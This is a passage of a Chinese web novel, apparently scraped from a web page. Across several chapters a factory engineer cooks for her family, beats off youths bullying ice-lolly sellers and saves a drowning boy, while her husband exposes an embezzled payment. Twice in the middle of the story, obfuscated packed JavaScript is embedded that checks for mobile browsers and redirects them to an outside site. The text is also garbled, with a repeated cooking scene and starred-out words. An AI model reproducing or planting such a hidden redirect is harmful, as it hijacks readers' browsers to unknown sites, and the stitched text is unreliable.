厨房里,姜海棠熟练地拨开蜂窝煤炉的风门,蓝幽幽的火苗立刻窜了上来。 她弯腰从橱柜深处取出一个搪瓷盆,用面碗舀上富强粉,然后慢慢的在面粉中倒入温水。 姜海棠纤细的带着薄茧的手握着筷子在面粉中划着圈,很快,干燥的面粉变成了一个个面疙瘩。 她开始下手揉面,几分钟后盆子里的面逐渐变成一个光滑的面团。 姜海棠将面团从面盆里拿出来,在案板上用力的揉。 面团在她掌心翻飞,被她压成一个圆片后,姜海棠开始擀面。 擀面杖在案板上滚过,面团渐渐变成一张薄如蝉翼的面皮。 姜海棠的额头渗出细密的汗珠,一缕碎发粘在颊边。她随手用胳膊蹭了蹭,将面皮叠成几层,菜刀“笃笃”地落下,切出一根根细细的面条。 炉子上的铝锅冒着热气,水花翻滚。 姜海棠抓起切好的面条抖了抖,然后将一把面条都丢在锅里,用筷子搅一搅,面条像游鱼般在锅里打着转。 趁煮面的功夫,她从碗柜取出两个蓝边粗瓷大碗。 淋上酱油、陈醋,放两大勺之前炒好的素臊子,舀半勺自制的辣椒油,最后将滚烫的面汤冲进碗里,顿时激出一股酸辣鲜香的热气。 面条煮得恰到好处,姜海棠麻利地把面条捞进碗里,青白相间的葱花往上一撒,又滴了两滴香油。 一碗陆良辰最喜欢吃的酸汤面就做好了。 而这时候,陆良辰也已经起床了。 “真香!有媳妇就是好!”陆良辰走到厨房里,笑盈盈的抱住姜海棠的腰,在她耳旁轻语。 “别腻歪了,赶紧吃饭。”姜海棠掰开陆良辰的手,将一大碗的面条塞到他手里。 陆良辰在两个人错身的时候,在她面颊上亲了一口,然后朝外喊:“小桃子,收拾好了吗?吃饭了。” “妈妈,爸爸,我来了!” 第263章 冰棍 “良辰面好了!“她朝里屋喊了一声声音里带着掩饰不住的期待。这碗酸汤面承载着她对丈夫最朴实的爱意每一根面条都裹满了家的味道。 厨房里姜海棠打开蜂窝煤炉子准备烧水。 烧水的同时她从橱柜里取出面粉。 和面、擀面、切条姜海棠动作一气呵成。 当水沸腾时细长的面条滑入锅中不一会儿就浮了起来。 她往碗里调入酱油、醋和辣椒油浇上一勺面汤最后撒上葱花。 这是陆良辰最爱吃的酸汤面。 “怎么起这么早?“陆良辰的声音从身后传来带着刚睡醒的沙哑。 姜海棠没回头专注地捞着面条“这些日子太忙都忽略了你和小桃子今天早上正好醒来了就给你煮了面趁热吃。” 一双温暖的手臂环住她的腰陆良辰的下巴抵在她肩膀上“谢谢媳妇儿!” 姜海棠红了脸挣扎开说:“赶紧吃饭吧面要坨了。” 小桃子用小手手捂着乌溜溜的大眼睛说:“小桃子没看到小桃子没看到!” “鬼灵精眼睛睁得这么大还敢说没看到!”陆良辰对着小桃子的小脑门轻轻地弹了一下笑着把小桃子放在小凳子上坐好。 小桃子拿着一双小号的筷子和已经被姜海棠弄碎的面条奋斗陆良辰狼吞虎咽地吃着面条姜海棠小口啜饮着面汤。 晨光透过窗户洒进来端得岁月静好。 “我今天可能有点忙先走了你送小桃子到学校后再上班别太拼命工作是干不完的。” 姜海棠知道厂里现在肯定需要解决发现的问题笑着点头说:“我知道的你放心吧 许久没有被妈妈送去幼儿园的小桃子听到妈妈要送自己去幼儿园的时候高兴得不得了。 姜海棠牵着小桃子去隔壁接了几个孩子一起送去学校。 孔大娘原本要自己送但看着小桃子那渴盼的眼神最后还是让姜海棠送孩子们去了。 小桃子叽叽喳喳的说着话可开心了。 “妈妈我周末想去公园里玩好不好啊好多小朋友都去过。” “好周末妈妈带着小桃子去公园玩。” “爸爸也去吗?”小桃子眨巴着大眼睛问。 姜海棠低头看着女儿的眼睛“爸爸不一定有时间不过只要爸爸有时间肯定要带着小桃子一起去公园的。” 对于这个 答案 “好买最大的那串。”姜海棠笑着承诺捏了捏女儿的脸蛋。 “妈妈不捏捏了就不漂亮了!” 姜海棠被小丫头的话逗的失笑小小年纪就知道爱漂亮了。 纺织厂财务室里陆良辰和赵凯正埋首于厚厚的账本中。 会计老张站在一旁不时解释着某些条目。 “这笔疆省棉花的预付款”陆良辰指着一行记录“显示是三月十五日汇出金额两万元整。” 老张点点头“是的按照供销科提供的采购合同支付的。我这里还有银行汇款回单的复印件。” 赵凯接过回单仔细查看“汇款账号是对的吗?” 老张从文件夹里取出一份文件“账号没问题这是疆省方面确认收到货款的电报日期是七月二十日。” 陆良辰和赵凯交换了一个疑惑的眼神。 如果货款确实支付了为什么疆省方面现在又说没收到? “张会计你能查到这个疆省供货商的往来记录吗?我们应该不是第一次合作了吧?” 老张推了推老花镜“可以是可以不过陆厂长您到底在查什么?” 赵凯连忙打圆场“例行检查而已最近不是原材料紧张嘛陆厂长想全面了解一下供应链情况。” 等老张离开后陆良辰仰靠在椅子上低声说:“这账做得太完美了反而可疑。汇款回单、收款确认一应俱全但疆省那边却说没收到钱。” “我有个想法”赵凯眼睛一亮“不如我们去查查这笔汇款的实际去向?我应该有办法查到。” 陆良辰了解赵凯说能查到那就能查到因此他点点头“小心行事别打草惊蛇。” 中午姜海棠想着陆良辰应该会很忙因此直接去食堂打包了饭菜送到他办公室。 推门进去只见他正对着电话低声说着什么见她进来和那边说了一句再见挂断了。 “查得怎么样?”她将饭盒放在茶几上。 陆良辰揉了揉太阳穴“账面上看不出问题但我总觉得哪里不对下午赵凯再想办法查实。你要是不来我就要错过今天的饭点儿了。” 姜海棠听陆良辰这么时候有点儿心疼了立即打开饭盒热气腾腾的土豆烧牛肉香气立刻充满了房间。 “先吃饭吧。工作的事情慢慢解决!” 两口子说了两句话姜 海棠急匆匆走了,她要回家照顾小桃子。 接下来几天,姜海棠的工作相对来说比较轻松,她正好调节了一下连续几个月的紧张情绪。 陆良辰那边则是忙得脚不沾地,连回家吃饭的时间都不固定。 姜海棠很是心疼,少不得要做些好吃的给陆良辰补身体。 周末,陆良辰还在忙,姜海棠便和同样闲下来的康小夏带着小桃子去了公园里。 康小夏对小桃子,简直和自己家孩子一样,喜欢的不得了。 小桃子也稀罕康小夏,因为康小夏每次见了她,都会给他好吃的。 公园里,阳光透过树叶洒下斑驳的光影,空气中飘荡着玫瑰的甜香。 小桃子一手牵着姜海棠,一手拉着康小夏,蹦蹦跳跳地走在石子路上。 “小桃子喜欢来公园玩吗?咱们改天去黄河边玩好不好啊?”康小夏问道。 小家伙想了想说道:“妈妈说,要小心溺水,黄河边太危险,不能去。” 康小夏惊为天人,说道:“海棠姐,她居然能记住黄河边不能去啊?” “一直叮嘱她呢,虽然说我们大人很多时候在,但万一呢?尤其是年龄越来越大,我们也不能一直跟着,我就给她灌输黄河边危险的概念。” “也是,咱们这河边,哪年不出事?就前段时间你不在,还有小孩子掉下去了,没救上来。”康小夏说着,也有些唏嘘。 “妈妈!我可以在公园里坐小船吗?”几个人正好走到了湖边,小桃子指着湖面上飘荡的几只小木船,眼睛亮 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循声看过去,只见三个穿着花衬衫的青年正围着那两个卖冰棍的少年,其中一个梳着大背头的青年正用冰棍指着少年的鼻子骂骂咧咧。 “**,老子要三根奶油冰棍,你们就剩两根,还敢给老子?” 大背头一脚踹在冰棍箱上,箱子“哐当”一声歪倒在地。 “要不,你们就把两根冰棍给我们,我们不卖了。”年纪稍微大一点的少年嗫嚅说道。 显然,说出这一句话,用了他不少力气。 “放屁,都给到老子手里了又说不卖了,涮着我玩呢?”一个脸长得像**一样的青年龇牙咧嘴地说。 有一个头发偏黄的黄毛青年补充:“今天不给我们补上第三根,别想拿钱!” 两个少年急得直搓手,年龄小点儿的都快要哭了。 “同志,真对不住,奶油的就剩这两根了……要不您拿根红果的?”少年尝试沟通。 “放屁!”背头青年一把揪住少年的衣领,“老子就要奶油的!你听不懂人话吗?” 说着就要去掏少年装钱的布包,显然,这几个年轻人**的目的是将两个少年手里的钱据为己有。 姜海棠眼神一凛,把冰棍塞给小桃子:“在这等着。” 她快步走过去,声音不大却格外清晰:“三位男同志,欺负孩子算什么本事?” 姜海棠弯腰帮少年扶正冰棍箱,平静地说:“我看见了,是他们先卖完了。要不这样……这根红果的算我请你们的。” 姜海棠想帮助两个少年,但不想惹出太多是非,因此打算拿出五分钱解决问题。 大背头斜眼打量她:“关你屁事!他们短了我的冰棍,那就该给我冰棍,谁来都不好使!” 黄毛转头,眼睛顿时一亮。 他吹了个口哨:“哟,哪来的漂亮妹子?” 他流里流气地上下打量着姜海棠,“要不你陪我们哥仨去划船,这冰棍钱我们就给他们。” 第264章 游湖救人 “就是就是,旁边长得像**的同伴嬉皮笑脸地凑近,“小妹子这身段,比电影明星还带劲…… 姜海棠脸色骤冷。 康小夏立刻将小桃子护在身后,厉声喝道:“你们嘴巴放干净点! 黄毛不仅不收敛,反而变本加厉地伸手要搭姜海棠的肩膀:“妹子别生气啊,咱们交个朋…… 话音未落,姜海棠突然抓住他的手腕一拧,同时抬膝狠狠顶在他腹部。 黄毛“嗷的一声弯下腰,还没反应过来,又被一记肘击打在后背,“扑通跪倒在地。 “嘴巴不干不净,该打!和我交朋友,也不看看你们配不配!姜海棠声音冰冷。 长得像癞**一样的青年抡起拳头冲来,姜海棠侧身闪过,顺势抓住他的手臂来了个过肩摔。 大背头终于反应过来了,抄起地上的冰棍箱就要砸,却被两个少年死命抱住了箱子。 “姐姐,你快走!这些钱我们不要了。年龄大一点的少年冲着姜海棠喊道。 姜海棠没有理会少年的话,而是抓住再次冲过来的黄毛,拧住手腕:“耍流氓是不是?我这就喊联防队的来! “联防队也管不了我们,识相的,放开我们,陪我们哥儿几个乐呵乐呵,要不然,让你们一家子人不得好死…… 姜海棠听着这话,眉头更加紧蹙,看起来,这不是一般人啊,能说出这样话的,肯定是有恃无恐。 那个大背头的青年盯着姜海棠看了好一会儿之后,突然变了脸色,压低声音道:“那女的是纺织厂工程师,她男人是厂长陆良辰,这两口子不好惹…… “什么情况?黄毛问。 “传说,陆良辰是朝中有人的那种人,战斗力很强悍,不要说我们三个,就是我们三十个,也打不过! 说这个话的时候,大背头还朝着姜海棠看了一眼,都说陆良辰厉害,可没人说过,陆良辰的媳妇也厉害啊。 不过,他只是看了一眼,又接着说:“上次,有人想搞这两口子,机械厂的那个滚刀肉都出面了。这个人,咱们可能惹不起! 三个人对视一眼之后,掏出两毛钱扔在冰棍箱上:“算、算我们倒霉! 一句话说完,这三个人就打算撤退,就连被姜海棠拧着胳膊的都挣扎了一下,可是,姜海棠却抓得更加紧了。 “给孩子们道歉,并给予赔偿。 人在屋檐下不得不低头,三个青年不情不愿地嘟囔了几句,表示道歉,又因为摔坏了几个红果冰棍 ,箱子也磕了一道疤,只能按照姜海棠说的,给了两个少年两块钱。 姜海棠这才放开。 他们恶狠狠地看了一眼两个少年。 姜海棠在三个人离开之前,又说了一句:“以后,这两个孩子要是有什么事儿,我就找你们。 三个人憋屈得不得了,但是打不过就是打不过,只能灰溜溜地逃走。 康小夏拍着巴掌说:“还以为是什么厉害人物,没想到是色厉内荏没出息的。 两个少年捧着钱连连鞠躬:“谢谢大姐! 小桃子举着化了一半的冰棍跑过来,眼睛亮晶晶的:“妈妈真厉害! 康小夏笑着戳戳她的小脸:“你妈妈可是练过的…… “小夏!姜海棠急忙打断,但已经晚了。 小桃子立刻缠着要听妈妈当年的故事,三人笑闹着往湖边走去,只留下地上那根被踩扁的红果冰棍,在阳光下慢慢融化。 两个少年看着姜海棠的冰棍就要化了,便从箱子里拿出一根完好的红果味的冰棍说:“姐姐,没有奶油的了,只有红果的,你吃这个吧。 姜海棠看了一眼两个孩子的衣着打扮和煦地笑着说:“我吃这个就行了,你们去买个锁,把冰棍箱加固一下。 两个少年深深鞠躬:“谢谢姐姐! “虽然我威胁了他们,但未必有用,这些天你们还是小心一点,能不来这边,尽量不来这边。 “姐姐,我们以后一定小心!两个少年十分乖顺地应下,一步三回头地离开了。 这时候,已经轮到三人坐船了,湖面上,阳光碎金般跳动。 这场小风波过后,三人的游园兴致反而更高了。 姜海棠小心地扶着小桃子上船,康小夏则负责划桨。 小船缓缓驶向湖心,小桃子兴奋地趴在船边,又要划船又要听故事,忙得不可开交。 “妈妈你看!有小鱼!她惊喜地喊道。 “小夏姐姐,你好厉害啊,还会划船,我都不会! …… 一路上都是小桃子叽叽喳喳的声音。 姜海棠则是一眼不错地盯着小桃子,温柔地笑着:“别靠太近,小心掉下去。 康小夏一边划船一边感叹:“真难得能这么悠闲,我们还好,赵凯和陆厂长他们最近忙得脚不沾地。 姜海棠点点头:“是啊,良辰这几天连晚饭都顾不上吃。 小桃子突然仰起小脸:“爸爸什么时候才能带我来公园呀?这次又 错过了! 姜海棠捏捏她的小鼻子:“等爸爸忙完这阵子,一定带你来。 小船在湖心转了一圈,正准备返回岸边时,远处突然传来一阵急促的呼救声—— “救命啊!孩子掉水里了! 只见不远处的水面上,一个约莫五六岁的男孩正在拼命挣扎,岸边一个穿着蓝色工作服的男人正惊慌失措地大喊,旁边一个妇女已经瘫软在地上,哭喊着:“儿子,我的儿子啊! “小夏,我们快过去!姜海棠立即催促康小夏。 康小夏反应也很快,立即调转船头朝着男孩落水的方向划去。 很快,小船儿就靠近了小男孩,可是,小男孩已经呛了好几口水,挣扎的力气越来越小了,甚至,她们喊他都已经没有反应了。 姜海棠暗道一声不好,没时间了。 她扑通一声直接跳入水中,冰凉的湖水瞬间浸透了衣服,但她顾不上这些,奋力朝孩子游去。 终于,赶在男孩沉入水中之前,姜海棠一把抓住他的衣领,托着他的头浮出水面。 “别怕,抓紧我!她一边划水,一边安抚着惊慌的孩子。 岸上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075596|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人群已经**过来,湖里也有好几条船朝着这边划过来。 “海棠,过来,上船。康小夏努力地想朝着姜海棠的方向划过去。 旁边有人喊:“船太小,上船容易导致船翻了。 姜海棠也知道,这么小的船,如果他们要上船,确实很容易造成翻船。 尤其是小桃子还在船上,姜海棠可不愿意让小桃子有一点点的风险。 “我游过去!姜海棠看了看距离岸边的距离,深吸一口气说道。 就在姜海棠打算游过去的时候,忽然有一个女同志将一条纱巾朝着姜海棠的方向飘过来:“同志,你抓住纱巾,能省点儿力气。 姜海棠没有拒绝对方的好意,一把抓住了纱巾,另外一只手死命拖着孩子。 她的游泳技术算不得好,又要拖着一个半大小子,她还真没把握能一口气游回去,但如果有船只借力,就会轻松许多。 几只小船都在姜海棠和孩子的周围,随时准备出手救援。 好在,姜海棠拖着孩子,顺利地回到了岸边。 那个穿蓝色工人装的男人跪在岸边,伸出颤抖的手:“同志!交给我,交给我! 又有几名热心的群众七手八脚地把孩子拉了上去。 孩子的母亲扑过来,一把抱住湿漉漉的孩子,哭得上气不接下 气:“儿子,儿子!你吓死妈妈了!” 姜海棠也在几个热情的群众帮助下上了岸。 孩子的父亲红着眼睛,冲着姜海棠深深鞠躬:“同志,谢谢你,你是我们家的恩人啊!” 姜海棠摆摆手,说道:“不用这样,是大家齐心协力的结果。” 就在她打算怎么拧一下衣服的时候,忽然有一件外套就披在了她肩上。 原来是一名环卫工人把自己的衣服披在了姜海棠的身上。 现在正是夏天,衣服单薄,湿透了之后,容易贴在身上。 “谢谢大姐!”姜海棠道谢。 “不用谢,和你比起来,这算什么啊!同志,你快回家换衣服吧,别着凉了。”环卫工大姐忙催促姜海棠。 姜海棠在康小夏的搀扶下站起来,打算告辞离开。 “同志,太感谢你了!”孩子的父亲声音哽咽,粗糙的大手紧紧握住姜海棠的手,“我是第三机械厂的钳工刘大柱,这是我爱人王秀兰。要不是你,我儿子……” 他看到了,儿子几乎要沉入水中了,亏得这位年轻姑娘相救。 王秀兰抱着已经停止哭泣的孩子,突然就要跪下:“恩人啊!” 姜海棠赶紧扶住她:“大姐,使不得!这都是应该的。” 她蹲下身,轻轻摸了摸男孩苍白的脸:“小朋友,以后要离水边远一点,知道吗?“ 男孩怯生生地点点头,突然小声说:“阿姨,你的手流血了……” 姜海棠这才发现,自己的手不知道什么时候被划破了一道口子。 小桃子看到妈妈受伤,眼泪立刻涌了出来:“妈妈疼不疼?妈妈说要远离水,我不听话,呜呜呜,我们要是不划船,妈妈就不会流血了…… 第265章 送锦旗 “不疼,小桃子帮妈妈吹吹就不疼了。”姜海棠柔声安慰女儿。 刘大柱急忙从口袋里掏出手帕:“同志,先用这个包一下。我们送你去医务室吧!“ “不用了,小伤而已。”姜海棠摇摇头,“孩子衣服都湿透了,你们赶紧带着孩子回家吧,不然要着凉。” 刘大柱却执意要留下联系方式:“同志,你一定要告诉我们你是哪个单位的,改天我们全家登门道谢!” 旁边的一个中年妇女忽然开口:“前头我听到了,这是纺织厂的姜海棠同志。” 姜海棠笑着摆摆手:“真不用,这都是举手之劳,我先回去了。” “纺织厂的姜海棠?工程师?”看着姜海棠越走越远,刘大柱突然瞪大眼睛,想起了这个人是谁。 回程的路上,小桃子紧紧抓着姜海棠的手,小声问:“妈妈,你为什么要跳下去呀?小桃子好害怕……” 姜海棠侧头看向窝在康小夏怀里的小桃子,认真地说:“因为那个小朋友需要帮助呀。如果妈妈不去救他,他可能会遇到危险。” 小桃子似懂非懂地点点头,又问:“是会死吗?” 姜海棠虽然不知道女儿为什么会突然问出这么一句,但还是点点头说:“很大可能会死!” 小桃子茫然地想了好一会儿,突然挺起小胸膛:“那我以后也要像妈妈一样勇敢!不让别的小朋友死!” 康小夏在一旁笑道:“咱们小桃子以后肯定是个小英雄。” 与此同时,陆良辰和赵凯也没闲着,经过这几天紧锣密鼓的调查,他们终于在国营饭店见到了疆省来的采购员阿不都。 阿不是个精瘦的汉子,眼神闪烁不定。 “你们要见我?”他警惕地问。 陆良辰直截了当,“阿不都同志,我们查到那笔两万元的货款没有汇到你们厂账户,而是进了有些人的私人账户。这事你知道吗?” 阿不都的脸色刷地变了,“我……我不知道,我什么都不知道……” 赵凯乘胜追击,“林科让你做了什么?说实话对你有好处,否则你就是共犯!” “我想,你应该能意识到,既然我们找到了你,就代表,我们已经掌握了关键的证据。” 在两人的轮番质问下,阿不都终于崩溃了。 “林科说……说可以给我个人一千元好处费,条件是让我拖延几天时间,可是,我没有拖到时间,就被发现了,其实事情我真的不知道……我不知道他**了这么多的钱!” 陆良辰和赵凯交换了一个的眼神。 “阿不都同志,”陆良辰严肃地说,“你需要写一份书面证明,并配合我们接下来的调查。这样可以从轻处理你的问题。林科我们肯定会从重处理,我想你不希望我们和贵厂进行进一步沟通吧?” 阿不都终于写下了说明材料,陆良辰安排陆凯追查林科的下落。 得知陆良辰在回程的时候,看到过林科,赵凯立即带着人顺着这个方向找过去。 同时,陆良辰还争取了**部门的支持,有了**部门的出面,各地联动起来,抓住林科不过是时间问题。 不得不说,赵凯还是挺有效率的,一周之后,就配合**同志,将林科捉拿回来了。 两万块钱,林科花出去了一部分,剩下的还没来得及花,厂里的损失并不是特别大。 陆良辰却没有太多喜悦,这件事造成的影响太坏了,还有得忙呢。 不过,现在可以告一段落,专心地陪着小女儿玩了两天了。 这天下午,陆良辰提前下班,去幼儿园接小桃子。 小丫头见到爸爸,立刻扑上来抱住他的腿,“爸爸!我好想你!” 她确实想爸爸了,这些天,她起床的时候,爸爸已经上班去了,她睡着的时候,爸爸还没有回来,因此,妇女两个是真真实实没见过面。 陆良辰抱起女儿,亲了亲她的小脸,“爸爸也想你。妈妈在家给你做好吃的了,咱们赶紧回家好不好?” 小桃子高兴地点头,“好!我要告诉妈妈我得了小红花!” 等陆良辰回到家属院,却看到有人站在自己家门口,似乎是在犹豫敲门还是不敲门。 “同志,你找谁?”陆良辰将小桃子抱紧了一些,戒备的问道。 刘大柱连忙上前,黝黑的脸上堆满笑容:“我找姜海棠同志,刚才打听说她住在这里!” “你是什么人,找姜海棠有什么事?”陆良辰一双眸子盯着刘大柱,生怕刘大柱是什么坏人。 刘大柱搓着手,十分局促地说:“同志,我是第三机械厂的钳工,姜海棠同志救了我家孩子,我是来道谢的。” 小桃子忽然想起了什么,睁大圆溜溜的眼睛说道:“爸爸,我想起来了,这个叔叔是那天妈妈在湖里救的小哥哥的爸爸!” 陆良辰这些天早出晚归,并不知道姜海棠还救了人,因此略微诧异。 倒是刘大柱听到小桃子这么说,定睛一看,可不是么,这个小姑娘,就是哪天跟在姜海棠同志身边的小姑娘,应该是姜 海棠同志的女儿。 “是是是,就是的,姜海棠同志救了我们家的孩子,我应该早些来感谢的,只是,孩子落水后,着凉了,这几天在医院,我没顾得上过来…… 刘大柱是个很老实的人,越说越觉得不好意思。 救命之恩,应该早些过来的,他拖到这会儿,确实不应该。 刘大柱局促地把布袋往前递:“您是姜海棠同志的丈夫吧?同志,太感谢了。这是自家腌的咸鸭蛋和晒的柿饼,想送给姜海棠同志补补身体! 正说着,姜海棠许是听到门外有声音,打开院子门出来看情况。 她第一时间并没有认出刘大柱。 刘大柱却在第一时间就认出了姜海棠,她眼圈突然红了,后退一步,冲着姜海棠深深鞠了一躬。 “姜海棠同志,我儿子多亏您救的及时,现在已经没事了!医生说要是多耽误一会儿,孩子就算能救回来,也会落下一辈子被有办法治愈的后遗症! 姜海棠连忙扶住他:“刘师傅,您太客气了。 “姜海棠同志,您这是救了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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财务科的几个姑娘不知道从什么地方打听到消息说康小夏当时在场。 她们直接跑来,非要听康小夏讲姜海棠救人的经过。 康小夏这些天被姜海棠叮嘱过,不能说这个事儿,憋得难受呢,现在总算得到机会了,立即绘声绘色的讲了起来…… 等几个姑娘听完了故事回头,才发现,厂长居然站在门口。 溜号听故事被厂长抓了个现行的几个人都挺不好意思的,就想着,要怎么才能让厂长不计较,就看到厂长大人露出了一个大大的微笑。 “你们觉得,楼道里这面锦旗怎么样?” 几个姑娘先是有些愕然,没有明白,厂长问这话是什么意思。 但很快,小张就领悟了什么,立即竖起大拇指。 “厂长,这锦旗可太气派了!您看这金线绣的,多亮堂!重点是上面这八个字,太有含金量了!” 陆良辰背着手踱到锦旗前,嘴角都快咧到耳根了。 第266章 大小嘚瑟鬼 瞬间,小李也明白了什么,立即开口:“确实是这样,‘救命之恩’四个字,绣得比咱们厂门口的光荣榜还醒目。” 康小夏没想到,这两位姐妹竟然如此会夸人。 她看向陆良辰,只见厂长大人的笑容已经丝毫掩饰不住了。 “可不是嘛!”会计小王赶紧接话,“姜工这救人姿势,听说跟电影里的女英雄似的!一个猛子扎下去,唰——” 小王的表演十分到位,甚至她的眼神都带着崇拜。 康小夏都忍不住想夸赞几句了,不都说搞财务得和数字打交道,一板一眼吗? 这看着也不像啊。 “咳咳!”康小夏差点儿把自己给呛到了,突然剧烈咳嗽起来。 陆良辰挑眉:“哦?还有姿势讲究?康小夏同志,你当时在场,给大伙详细说说?” 康小夏急得直冒汗:“那个……陆厂长,就是比喻,比喻您懂吧!” “得了吧,小康同志,你是不是根本不在现场,我专门去了一趟公园,听几个人说了,姜工那入水的水花简直比游泳队的还漂亮。”技术科的小李不知什么时候也凑了过来一本正经地说。 康小夏:“……” 什么情况? 当时,海棠好像没有专门压水花吧? 而且,海棠当时的游泳姿势充其量就是狗刨好吗? 她觉得自己已经够夸张了,结果,好像自己是最不会说的…… 陆良辰笑嘻嘻地从兜里掏出个小本本:“这位同志说得好,公园里其他看到的人还说什么了?我记一下。” “啊?!”小李傻眼了。 整个办公室顿时笑作一团,就连谭**几个人也被惊动过来了。 陆良辰这才收起本子,故作严肃地说:“行了,都回去工作。” “啊,陆厂长,这就没有然后了?”有人看陆良辰开心,忍不住笑着打趣。 “下午两点,食堂张师傅做红烧肉,专门给见义勇为的姜工补补……” 话音未落,走廊尽头突然传来姜海棠的声音:“陆良辰!你又拿我当幌子!” 众人回头,只见姜海棠抱着一摞图纸,脸颊绯红地站在那儿。 陆良辰立刻小跑过去接过图纸,凑到她耳边不知说了什么,惹得姜海棠抬手就要捶他。 “哎哎,伤员注意啊!”陆良辰灵活地躲开,指着她手上结痂的伤口,“这英雄的勋章可不能碰坏了!” 姜海棠又好气又好笑:“再胡说,今晚睡办公室!” 就这么点儿伤疤,都要痊愈了,至于拿出来专门说?没得让人笑话。 “别啊媳妇,”陆良辰立刻举手投降,转头对看热闹的职工们说,“都看见了吧?咱厂工程师就是这么管教厂长的。” 众人哄笑中,不知谁喊了句:“咱厂长平日里看着威风凛凛的,今天才知道,也是‘气管炎’啊!” “男人要听媳妇话,什么困难都不怕,再说了,我这叫光荣!明白不?”陆良辰得意扬扬地指着锦旗,“全厂独一份的锦旗家属,你们有吗?有吗?” 谭**都觉得没眼看了,指着陆良辰无奈地笑着说:“你呀,你呀,还哪儿有个厂长的样儿,也不怕人笑话。” 陆良辰满不在乎地说:“谭**,我夸自己媳妇,天经地义!我要是夸别人媳妇才要命呢!” 姜海棠没忍住掐了陆良辰一把,陆良辰假装哀嚎。 正闹着,门口突然探出个小脑袋:“爸爸,妈妈,你们在玩什么呀?我也要玩。” 众人看过去,小桃子牵着幼儿园老师的手,好奇地看着挤满人的走廊。 陆良辰立刻蹲下身,朝着宝贝女儿挥手:“宝贝快来,看看妈妈的大锦旗!” 老师忍俊不禁:“陆厂长,小桃子非说要给妈妈看她在幼儿园画的画。” 她展开一幅蜡笔画,上面歪歪扭扭地画着个小人跳进波浪里。 如果不知道姜海棠救人这件事,大概率大家都看不明白,可是知道了姜海棠救人的事迹,大家都看懂了。 “这是妈妈救小朋友!”小桃子骄傲地挺起小胸膛宣布:“妈妈是这个世界上最厉害的妈妈、最勇敢的妈妈、最棒的妈妈!” 众**眼瞪小眼,以为厂长就够能嘚瑟了,谁知道,这里还有个小嘚瑟鬼呢。 当天下午,全厂都知道了三件事: 第一,厂长办公室门口新增“家属荣誉角”; 第二,食堂不光有红烧肉,还多放了糖,因为张师傅说英雄就该吃甜的; 第三,想找厂长签字?夸锦旗绣得好准没错! 清晨五点半,姜海棠就轻手轻脚地起床。 她摸黑套上衣服,刚要系扣子,就被一双温热的大手握住了手腕。 “再睡会儿。”陆良辰的声音带着晨起的沙哑,手臂一用力就把人捞回床上。 他下巴上新冒的胡茬蹭在姜海棠颈窝里,扎得她直躲。 “别闹,我要去做早饭了,早点吃完饭,早点去上班。”姜海棠压低声音。 陆良辰更用力地抓着 姜海棠,将她压在身下。 “不用做早饭,我们等下去食堂吃就行。” “那怎么可以,咱们两个大人倒是没啥关系,小桃子正在长身体,可要吃好点儿。” “等会儿给小桃子煎个鸡蛋夹在馒头里,再加一杯牛奶就行了。你每天这么早起,身体怎么吃得消?” “还有,你自己也要吃好点儿,你看看你,一天天的越来越瘦了,别人都要以为我不会养媳妇了。” 最终,姜海棠在陆良辰的要求之下,又躺回床上,然后迷迷糊糊的又睡着了。 等她醒来,已经七点半了,姜海棠急忙起身,才发现,陆良辰已经不在床上了。 她穿好衣服快速洗漱之后,看到陆良辰拎着两个饭盒回来了。 小桃子也已经起床,看到陆良辰立即哒哒哒地跑过去迎接。 一家三口吃了早饭,姜海棠把小桃子送到隔壁,昨天是最后一天上课,今天开始放假了,小桃子只能放在隔壁。 忙碌了一天工作,傍晚下工时,忽然下起雨来,姜海棠正在车间记录数据,忽然听见门口一阵骚动。 抬头就见陆良辰撑着把黑布伞站在雨里,裤腿卷到膝盖,解放鞋上全是泥点子。 “姜工,陆厂长来接媳妇啦!”女工们笑着起哄。 姜海棠红着脸跑过去,被他一把揽进伞下。 伞面足够大,两人挨得极近,倒是能完全不被雨水淋湿,但却能清晰地闻到对方身上的味道。 陆良辰生怕雨水打湿姜海棠,把伞往她那边倾斜,“今天工作顺利吗?” 雨幕中,姜海棠眼睛亮晶晶的:“很顺利,我最近又梳理出来好些可以提高效率的想法,正准备实验。” “我媳妇真厉害。”陆良辰突然从兜里掏出个小号的饭盒,“奖励你的。” “什么?”姜海棠问。 “今天去开会,中午管饭,一人有一份奶油蛋糕,我就带回来了。”陆良辰解释。 奶油蛋糕,这个可真是稀罕玩意儿,只是…… 姜海棠说:“这是给你吃的,你怎么好意思带回来。” “既然是给我的,我舍不得吃,带回来给我媳妇怎么了?”陆良辰理所当然地说着,似乎一点都没有觉得,这样有什么不好。 实际上,陆良辰觉得,有点对不起姜海棠,如果姜海棠不是跟着自己留在西北,而是回城京市的话,要吃什么没有? 作为姜老爷子唯一的孙女儿,应该是被千娇百宠,不要说吃一块蛋糕,就算要吃山珍海 味,凭着姜老爷子的身份也能弄到。 而现在,他们祖孙没有相认,更重要的原因其实是为了避免陆家被盯上。 毕竟,陆家人丁兴旺,又各个都是人中龙凤,自然会被人提防。 而姜家,在其他人看来,根本无需防备,就算有个孙女儿,也不必畏惧。 雨水顺着伞骨滴落,却在姜海棠心里酿出蜜来。 周末难得休息,夫妻俩带着小桃子去供销社,陆良辰难得和妻女逛街,自然是看到什么都要买,到了最后,姜海棠都不敢让他继续逛下去了。 但陆良辰坚持买了一台收音机。 “买这个干啥?”姜海棠疑惑道。 厂里有广播,还有报纸,了解国家政策很容易,收音机似乎没有太大的必要。 